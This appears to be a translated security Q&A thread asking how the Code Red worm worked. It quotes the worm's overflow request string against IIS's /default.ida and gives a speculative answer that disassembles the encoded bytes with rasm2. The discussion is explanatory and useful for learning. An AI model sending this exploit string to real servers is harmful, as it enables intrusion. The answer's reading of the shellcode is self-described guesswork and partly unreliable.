¿Cómo funcionó el gusano rojo del Código?

5

Así que he estado leyendo un poco sobre el gusano Code Red, y me da la idea, pero la cadena de desbordamiento no tiene sentido para mí.

Desde este sitio, se dice que la cadena de desbordamiento que usó el gusano fue

/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucb
d3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u
9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a

Todas las 'N' son probablemente solo para el desbordamiento del búfer, pero ¿qué significan las letras y los signos de%? Si hay alguna diferencia, no conozco ningún lenguaje C ni ASP.NET

    
pregunta YazanLpizra 06.08.2015 - 19:21
fuente

1 respuesta

5

Sólo estoy especulando, pero sí, las N son para el desbordamiento inicial del búfer. Notarás que %u9090%u6858%ucbd3%u7801 se repite una y otra vez. Estos son 8 bytes de valores Unicode en hexadecimal.

%u9090 es muy probablemente una instrucción de máquina NOP (sin operación). En hexadecimal para Intel x86, esta instrucción es de un byte, 0x90 . Así se repite estos 8 bytes 3 veces. El propósito que supongo es sobrescribir la dirección de retorno con su propia dirección.

Entonces tienes %u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00 . Lo que me parece que este es el código de shell necesario para obtener la ejecución. Si elimina el designicore unicode %u , obtendrá una secuencia de instrucciones. Usando radare2 puede ejecutar el siguiente comando en 90909090819000c300038b00531b53ff00780000

rasm2 -d 90909090819000c300038b00531b53ff00780000
nop
nop
nop
nop
adc dword [eax + 0x300c300], 0x1b53008b
push ebx
inc dword [eax]
js 0x13
.byte 0x00 1

Ahora podría estar equivocado acerca de los primeros 3 valores repetidos. Tal vez son parte del código de shell. Así que simplemente ejecutemos el mismo comando en la cadena de bytes completa:

$ rasm2 -d 90906858cbd3780190906858cbd3780190906858cbd3780190909090819000c300038b00531b53ff00780000
nop
nop
push 0x78d3cb58
add dword [eax - 0x34a79770], edx
sar dword [eax + 1], cl
nop
nop
push 0x78d3cb58
add dword [eax - 0x7e6f6f70], edx
nop
add bl, al
add byte [ebx], al
mov eax, dword [eax]
push ebx
sbb edx, dword [ebx - 1]
add byte [eax], bh
.byte 0x00 1

Para obtener más información sobre cómo funcionan los desbordamientos de búfer; consulte ¿Por qué se ejecutan los desbordamientos de búfer en la dirección en que están? y Implicaciones de seguridad al descuidar el byte NULL final.

    
respondido por el RoraΖ 06.08.2015 - 19:38
fuente

Lea otras preguntas en las etiquetas